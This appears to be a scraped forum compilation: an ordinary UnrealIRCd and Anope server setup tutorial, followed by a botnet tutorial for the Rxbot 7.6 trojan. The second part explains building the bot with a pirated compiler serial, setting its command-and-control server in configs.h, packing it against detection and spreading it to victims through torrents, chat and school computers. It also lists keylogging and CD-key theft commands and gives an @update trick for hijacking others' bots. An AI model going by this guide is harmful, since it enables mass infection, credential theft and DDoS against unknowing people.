net. You first need to uncomment this line by removing the # and then replace dengel anope with the nicks of the services roots. Note that svsroot privs will only be given once the net is started up and the people have registered their nicks. e.g. ServicesRoot "dave jim" And you're all done! Now you need to upload the config file again and start services by typing: ./services Once they have started you should see them join the network if you are opered up. Now go play! As I said this tutorial is to get an IRC server working. You may read through the config files and change some of the options that take your fancy in order to make the network exactly how you want it. Once you have made a change to the unreal conf you must be connected to the server and opered up. You can then just type /rehash to reload the config file. If you edit the services conf you must be a services root and type /msg operserv reload. If you want the /os /cs /ns etc. to work you must include the aliases file in the unreal conf. Open up the unreal config file and find the lines which say: include "help.conf"; include "badwords.channel.conf"; include "badwords.message.conf"; include "badwords.quit.conf"; include "spamfilter.conf"; Add to the end of this: include "aliases/anope.conf"; This will allow you to use /ns /cs etc. -
In this tutorial I will cover the full setup of an IRC server with services. The packages I shall use in this tutorial are: Unreal IRCD 3.2.6 Anope 1.7.18 I will try to update this tutorial on the release of new versions of the above softwares. They are both well known and widely used on IRC servers. Ok, lets get started... First step is to find a place to run the tools from. This can be done in a number of ways. You can either install linux on a PC at home, or more commonly you can buy an IRCD shell from a company such as shellfusion.net. Shellfusion is a great service which I personally use and have had no problems with, and is certainly well worth having a look at. The shell company should give you instructions as to connecting to it via SSH. Once you are connected and at the command line you must download the tools shown above. The easiest way to do this is to use the *nix command wget. Type the following 2 commands to download the files to your shell: wget http://unrealircd.alert-net.com/Unreal3.2.6.tar.gz wget http://kent.dl.sourceforge.net/sourcefo ... .18.tar.gz Next you need to extract the 2 compressed files you have just downloaded. To do this you must use the *nix command tar. Type the following 2 commands to extract the files: tar -zxvf Unreal3.2.6.tar.gz tar -zxvf anope-1.7.18.tar.gz Now we must rename the anope directory to services. To do this type: mv anope-1.7.18 services Next task is to change directory to the directory you untared the files to. To do this type: cd Unreal3.2 Once in this directory you must start the config of the IRCD. To start this process type: ./Config You will now see a whole bunch of information about unreal IRCD. Just press enter until you see the config ask you the question: Do you want to enable the server anti-spoof protection? After all of the questions the config asks you, you will see just before the prompt by which you type in square brackets, a default answer to the question. In most cases this should be left as default and the enter key should just be pressed. To the question: Do you want to enable the server anti-spoof protection? Just press enter To the question: What directory are all the server configuration files in? Just press enter To the question: What is the path to the IRCD binary including the name of the binary? Just press enter To the question: Would you like to compile as a hub or as a leaf? Type LEAF To the question: What is the hostname of the server running your IRCD? Just press enter To the question: What should the default permissions for your configuration files be? Just press enter To the question: Do you want to support SSL (Secure Sockets Layer) connections? Just press enter To the question: Do you want to enable IPv6 support? Just press enter To the question: Do you want to enable ziplinks support? Just press enter To the question: Do you want to enable remote includes? Just press enter To the question: Do you want to enable prefixes for chanadmin and chanowner? Just press enter To the question: What listen() backlog value do you wish to use? Just press enter To the question: How far back do you want to keep the nickname history? Just press enter To the question: What is the maximum sendq length you wish to have? Just press enter To the question: How many buffer pools would you like? Just press enter To the question: How many file descriptors (or sockets) can the IRCD use? Just press enter To the question: Would you like any more parameters to configure? Just press enter The script will now start the config. Once that is done we need to make the binaries from the source. To do this type: make This will go through and make the binaries. Once this is done, it is time to do the config file. First you need to move the example config file from the doc directory to the main directory. You also need to rename it to unrealIRCD.conf. To do this type the following 2 commands: cp doc/example.conf . mv example.conf unrealIRCD.conf Now the file is all moved over we need to edit it. This can be done in a number of ways. The best way is to download the file to your own pc and edit it in your favourite text editor. Most services provide FTP access, so this can be used to download the file. If you use windows, I have found that notepad doesn't format the conf correctly, so you must open it in wordpad. On opening the config file there are a number of things you must change. All I will outline in this tutorial are the core basics to get your server up and running. There are many other options which you may use to customise your server to your own needs. These are all detailed in the Unreal IRCD docs. Once you open the file you will see a number of things in it. I will now take you through step by step editing of this file to your needs. Firstly, you will see the following 3 lines: /* FOR *NIX, uncomment the following 2lines: */ //loadmodule "src/modules/commands.so"; //loadmodule "src/modules/cloak.so"; You must uncomment the 2nd and 3rd lines, that is remove the // from the front of them so that that block will look like this: /* FOR *NIX, uncomment the following 2lines: */ loadmodule "src/modules/commands.so"; loadmodule "src/modules/cloak.so"; A little further down the file you will see: me { name "IRC.foonet.com"; info "FooNet Server"; numeric 1; }; This needs changing to the details of your own server. This can be ANYTHING you want. For example: me { name "IRC.pchowtos.co.uk"; info "pchowtos IRC server"; numeric 1; }; A bit further down again you will see: admin { "Bob Smith"; "bob"; "widely@used.name"; }; This is just for informational purpouses and just needs changing to your details. For example: admin { "Phil Lavin"; "phil"; "phil@pchowtos.co.uk"; }; Now for config of the opers. Scroll down the file until you see the following: oper bobsmith { class clients; from { userhost bob@smithco.com; }; password "f00"; flags { netadmin; can_zline; can_gzline; can_gkline; global; }; }; This is an example oper block config. This can be done unlimited times in a row to add new opers. You will need to edit this to your own details. oper bobsmith { is the oper username. This is what is typed when you oper-up on the server using the command /oper USERNAME PASSWORD. userhost bob@smithco.com; This line tells the server where you are allowed to oper from. This is for security reasons to stop anyone stealing your password and opering up. bob is the ident and smithco.com is the host. This can be repeated as many times as you please. For example if you were to connect from home and work you may do: userhost phil@*.home.host.com; userhost phil@*.work.host.com; * in the host is a wildcard. This meens that those with a dynamic IP, like myself can still oper by using the static bit of the host. The flags { section tells the server what you can do as oper. The only one you might want to add to this is "can_override". This allows opers to override channel modes in which they do not have the access to do so. Now a full example. In this example we will add two opers, jim and dave. They both connect from home and work and both have override privs. oper jim { class clients; from { userhost jimbo@*.dynamic.dsl.as9105.com; userhost jimbo@*.vnnyca.adelphia.net; }; password "j1msp4ss"; flags { netadmin; can_zline; can_gzline; can_gkline; global; can_override; }; }; oper dave { class clients; from { userhost davey@.ipt.aol.com; userhost davey@.ip.alltel.net; }; password "dav3sp4ss"; flags { netadmin; can_zline; can_gzline; can_gkline; global; can_override; }; }; Next onto the listen block. This tells the IRCD where to wait for connections. Scroll down until you see:
-
Acest tutorial este in scop educativ . Nu imi asum raspunderea pentru o eventuala folosire a lui de catre anumite persoane in scopuri ilegale . In addition to Rxbot 7.6 modded in this tutorial, you can also use another good source. It is rx-asn-2-re-worked v3 is a stable mod of rxbot and it is 100% functional and not crippled. If you want to download it, you can below: anonym.to - free dereferer service Compiling is the same as it would be with Rxbot 7.6. I prefer this source but it would ultimately be best to compile your own bot/get a private one. Q:What is a botnet? A: A botnet is where you send a trojan to someone and when they open it a "bot" joins your channel on IRC(secretly, they don't know this)Once done the computer is now refered to as a "zombie". Depending on the source you used, the bot can do several things. I myself have helped write one of the most advanced and secure bot sources out there. (Off topic) But once again depending on the source you can : Keylog their computer, take picutes of their screen, turn on their webcam and take pics/movies, harvest cdkeys and game keys or even cracks, passwords, aim screen names, emails, you can also spam, flood, DDoS, ping, packet, yada yada, some have built in md5 crackers, and clone functions to spamm other irc channels and overrun a channel and even perform IRC "Takeovers". Once again depending on the bot it may be able to kill other fellow competeter bots. Or even kill AV/FW apon startup. Add itself to registry. Open sites. Open commands. Cmd, notepad, html, Anything is possible ! Theres the infected computers "bots" the attacker, the server, and the victim. while the term "botnet" can be used to refer to any group of bots, such as IRC bots, the word is generally used to refer to a collection of compromised machines running programs, usually referred to as worms, Trojan horses, or backdoors, under a common command and control infrastructure. A botnet's originator (aka "bot herder") can control the group remotely, usually through a means such as IRC, and usually for nefarious purposes. Individual programs manifest as IRC "bots". Often the command and control takes place via an IRC server or a specific channel on a public IRC network. A bot typically runs hidden, and complies with the RFC 1459 (IRC) standard. Generally, the perpetrator of the botnet has compromised a series of systems using various tools (exploits, buffer overflows, as well as others; see also RPC). Newer bots can automatically scan their environment and propagate themselves using vulnerabilities and weak passwords. Generally, the more vulnerabilities a bot can scan and propagate through, the more valuable it becomes to a botnet controller community. Suspects in the case used the Randex worm to establish a 30,000 strong botnet used to carry out "low profile DDoS attacks" and steal the CD keys for games, he explained. "They had a huge weapon and didn't use as much as they could have done," Santorelli told El Reg. "The main damage caused in the case is down to the cost of cleaning up infected PCs." Botnets are being used for Google Adword click fraud, according to security watchers. Now enough with all the quotes. As you can see, you can do anything with a botnet. Anything is possible. This is my bot and tutorial. You can host your bots on irc on a public server but I would recommend a private, password protected server. I will setup bots for people if they have something to offer. --------------- Ignore anything about using the server editor but this tutorial show how to make an irc channel and spread bots: Download tutorial ----------------------------- Here we go ladies and gentlemen Follow the tutorial: ----------------------------- I. Setting up the C++ compilier: (easy) 1. Download Microsoft Visual C++ 6.0 Standard Edition (63.4 mb) Mirror 2 Mirror 3 Direct Pass: itzforblitz Serial: 812-2224558 2. Run setup.exe and install. Remember to input serial 3. Download and install the Service Pack 6 (60.8 mb) 4. After that Download and install: Windows SDK (1.2 mb) Mirror 2 Mirror 3 Pass: itzforblitz ------------------------------------- II. Configuring the C++ compilier (easy) 1. Open up Microsoft Visual C++ Compilier 6.0 2. Go to Tools > Options and Click the "Directories" tab 3. Now, browse to these directories and add them to the list: (Click the dotted box to add) C:\PROGRAM FILES\MICROSOFT PLATFORM SDK C:\PROGRAM FILES\MICROSOFT PLATFORM SDK\BIN C:\PROGRAM FILES\MICROSOFT PLATFORM SDK\INCLUDE C:\PROGRAM FILES\MICROSOFRT PLATFORM SDK\LIB 4. Now put them in this order: (use up and down arrows) (it does not matter whats below those lines) --------------------------------------- III. Configuring your bot: (easy) 1. Download and unpack: Rxbot 7.6 (212.3 kb) Mirror 2 Mirror 3 2. You should see an Rxbot 7.6 folder 3. Open the Rxbot 7.6 > configs.h folder and edit these lines only: Put in quotations: char password[] = "Bot_login_pass"; // bot password (Ex: monkey) char server[] = "aenigma.gotd.org"; // server (Ex: irc.efnet.net) char serverpass[] = ""; // server password (not usually needed) char channel[] = "#botz_channel"; // channel that the bot should join char chanpass[] = "My_channel_pass"; // channel password [U]Optional:[/U] char server2[] = ""; // backup server char channel2[] = ""; // backup channel char chanpass2[] = ""; //Backup channel pass ----------------------------------- IV. Building your bot: (very easy) 1. Make sure Microsoft Visual C++ is open 2. Select "File > Open Workspace" 3. Browse to your Rxbot 7.6 folder and open the rBot.dsw file 4. Right Click "rBot Files" and click Build: 5. rBot.exe will be in the Rxbot 7.6 > Debug folder !!! YOUR DONE !!!! Now get the rbot and pack it (Use tool in third post and open rbot and click "Protect" and send it to some idiots, Follow tutorial on top to learn how to spread. Some good ways are: Torrents, AIM, Friends, Myspace, School computers, and P2P but there are more ways. ENJOY ! ------------------------------------- Command list Download Command list Basics: .login botpassword will login bots .logout will logout bots .keylog on will turn keylogger on .getcdkeys will retrieve cdkeys. Read command list for more ----------------------------------- Download mIRC mIRC Mirror 2 Mirror 3 -------------------------------------------------------------------------------------------- How to secure your bots: Don't be an ~censored~, it is easy to steal bots. All you need is the irc server address and maybe a key. To steal bots, watch for the @login key one must upload their bot to a direct link (tdotnetwork is execellent) and update the channel topic and run: @update [URL]http://www.mybot.com/download/SMSPRO.exe[/URL] 82The http://mybot.com is your bot's download link and the 82 can be any number(s) Now steal their bots and have them join your channel To find the server address you need their botnet. Then take their bot and open it in the server editor. Address will be shown and so will password and other needed information. To secure your self: It is fairly easy to secure your bots, here is how: 1. When you are in your right click on your chat window and select "Channel Modes" 2. Make sure these options are checked: oly ops sets topic, no external messages, key, secret. This way no one besides you or another op can set the channel topic Note: Setting "Moderated" is good for when you are not there because anyone who is not voiced (+v) or and op (+o) cannot talk. They will still log in and follow commands however there will be no output. Good IRC Servers: I would recommend running your botnet on a private server. If you would like to setup a botnet on a certain server, do not intrude and make one. Talk to the admin and make sure he know that the IRC server is not doing anything illegal. If an Admin refuses, don't get angry. It is his/her server after all -xXx 0wn3d xXx